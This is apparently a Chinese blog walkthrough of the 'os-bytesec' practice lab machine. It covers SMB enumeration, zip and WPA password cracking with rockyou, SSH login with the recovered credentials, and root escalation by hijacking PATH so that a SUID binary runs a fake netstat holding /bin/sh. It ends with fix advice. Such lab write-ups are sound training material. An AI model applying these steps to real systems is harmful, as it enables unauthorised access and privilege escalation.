靶机训练4:os-bytesec 靶机
# 靶机训练4:os-bytesec 靶机
一,前期准备
1. 下载安装
-
学习内容
- 漏洞利用
- SMB网络文件系统协议
- 枚举
- Stenography
- 提权
-
目标
- 一个user-flag
- 一个root-flag
二, 信息收集
1. 主机探测
nmap -sP 192.168.31.0/24
2. 端口扫描
nmap -sV -sC -A 192.168.31.27
- 以开放的端口
80 --web服务
139
445
139 445 为smb服务 netBions name NITIN smbba4.3.11 Ubuntu
2525 ssh服务
-
另一方方式的端口探测
-
nmap -sV -sC 192.168.31.27 -oA os-bytesec-allport -oA 同事输出三种格式 -sV 表示探测目标机器上的服务信息 -sC sC参数表示使用nmap脚本进行探测
-
2. smb - Server Message Block
- 是一种文件共享协议,能被用于Web连接和客户端与服务器之间的信息沟通
三,渗透过程
1. 查看网站信息
- 查看各种按钮,看看有没有啥线索,发现并没有,只看到一个登陆页面
2. 目录扫描
gobuster dir -u http://192.168.31.27 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
-
结果
-
/news (Status: 301) /img (Status: 301) /html (Status: 301) /gallery (Status: 301) /css (Status: 301) /js (Status: 301) /server-status (Status: 403)
-
3. 检测smb服务
检测smb服务
-
nmap使用脚本对指定的端口进行检测
-
nmap -p 139,445 --script=smb-vuln-*.nse --script-args=unsafe=1 192.168.31.27
-
- 但没有发现什么可以利用的点
smbmap 列出共享
smbmap -H 192.168.31.27
- 可以匿名访问但是均都没有任何权限
enum4linux 测试smb安全
-
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具
-
常规扫描并获取用户列表,发现有一个smb用户
-
enum4linux -U 192.168.31.27
-
-
全量扫描
-
全方位测试smb服务安全 枚举用户 共享文件,发现了多个用户
-
sagar
-
blackjax
-
smb
-
-
enum4linux 192.168.31.27
-
尝试登录,用smbmap列出用户共享目录
- 但是我本地smb用户也是无法登录的
smbclient 访问目录
-
smbclient是测试与Windows共享连接的有用工具
- 可用于传输文件或查看共享名
- 具有“ tar”(备份)功能,可以将文件从服务器还原到客户端,反之亦然、
-
尝试获取用户目录下的文件,但无权限
-
smbclient -L 192.168.31.27 -U 用户名
-
-
思路:
- smb 用户是对的,密码是对的,但无法查看共享目录,有一种可能是:共享目录被隐藏了
-
尝试用户登录
-
首先可以尝试弱密码登录,smb用户的密码为空时可以登录
-
用法:smbclient//ip/myshare -U xxxx smbclient //192.168.31.27/smb -U smb
-
- 查看文件,并下载 get main.txt safe.zip
4. 破解文件
-
解压文件,但发现需要密码
-
unzip safe.zip
-
-
弱口令不行就使用工具进行密码爆破
-
使用fcrackzip工具,但需要安装
-
fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip
-
-
发现找不到要使用的密码文件,则查看原因(发现未解压)
-
成功找到密码
-
hacker1
-
- 得到密码后解压得到以下两个文件
- secret.jpg
- user.cap
-
使用工具 xdog-open 打开图片
-
方便通过命令行操作一些非文本文件,如 pdf,doc
-
xdog-open secret.jpg
-
使用工具 exiftool 工具查看图片内容
-
用于读写和处理图像(主要)、音视频和PDF等文件的元数据(metadata)
-
exiftool secret.jpg
-
user.cap文件是一种抓包软件存储网络数据包的一种文件格式
-
使用 WireShark 网络包分析工具查看
-
(104条消息) 网络分析工具——WireShark的使用(超详细)_世间繁华梦一出的博客-CSDN博客_wireshark
-
wireshark user.cap
-
-
尝试用Aircrack-ng破解文件
-
Aircrack-ng是一个与802.11标准的无线网络分析有关的安全软件,主要功能有:网络侦测,数据包嗅探,WEP和WPA/WPA2-PSK破解。
-
aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
-
-
找到一个用户和密码
-
user:blackjax pwd:snowflake
-
-
尝试使用ssh登录
-
ssh -p 2525 blackjax@192.168.31.27
-
-
ls查看用户下有啥文件,发现user.txt,查看内容,发现第一个user-flag的hash密文,进行解密得到
-
abhishek
-
5. 提权后获取root.flag
-
下一步是查找可以利用的信息进行提权
-
查看网络端口信息
-
netstat -tlnp
-
-
查看靶机Ubuntu版本号,根据当前版本搜索有没有可利用的提权方法
-
查找根目录下所有带用suid属性的文件
-
在find命令的帮助下不浪费时间的搜索具有SUID或4000权限的文件
-
find / -perm -u=s -type f 2>/dev/null
-
- 进入/usr/bin,就可以逐个去查看目录,看到netscan比较可疑,
- ls -al 查看其权限,发现它有可执行权限,执行,,功能与netstat -tlnp相似,用于获取网络协议
-
分析该文件
-
xxd
- xxd是二进制查看命令,默认将2文件显示为16进制
-
less 与 more 类似,less 可以随意浏览文件
-
xxd /usr/bin/netscan | less
-
- 发现文件netscan试图运行netstat -antp,这是一个真正的在/bin中的文件可以查看端口状态
-
提权操作
-
创建文件 netstat
-
cd /tmp #这是一个任何用户都可以访问的目录 echo "/bin/sh" > netstat #创建一个文件netstat 内容:/bin/sh chmod 777 netstat # 赋予权限(任何用户都可以执行)
-
劫持环境变量
-
原理
- 当运行 /usr/bin/netscan(它是root权限的)的时候,做了环境变量劫持后,它会执行netstat命令,从而调用 /bin/sh,从而拿到root权限
-
echo $PATH #查看 export PATH=/tmp:$PATH #添加 /usr/bin/netscan # 运行 id #查看结果 whoami
-
-
- 进入 root 目录,拿到 root-flag
总结
-
突破点
-
通过SMB获取共享文件; 通过爆破获取密码; 从user.cap获取账户和密码; 利用$PATH变量提权。
-
-
修复建议
-
设置smb用户密码 netscan命令 去掉s属性
-
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现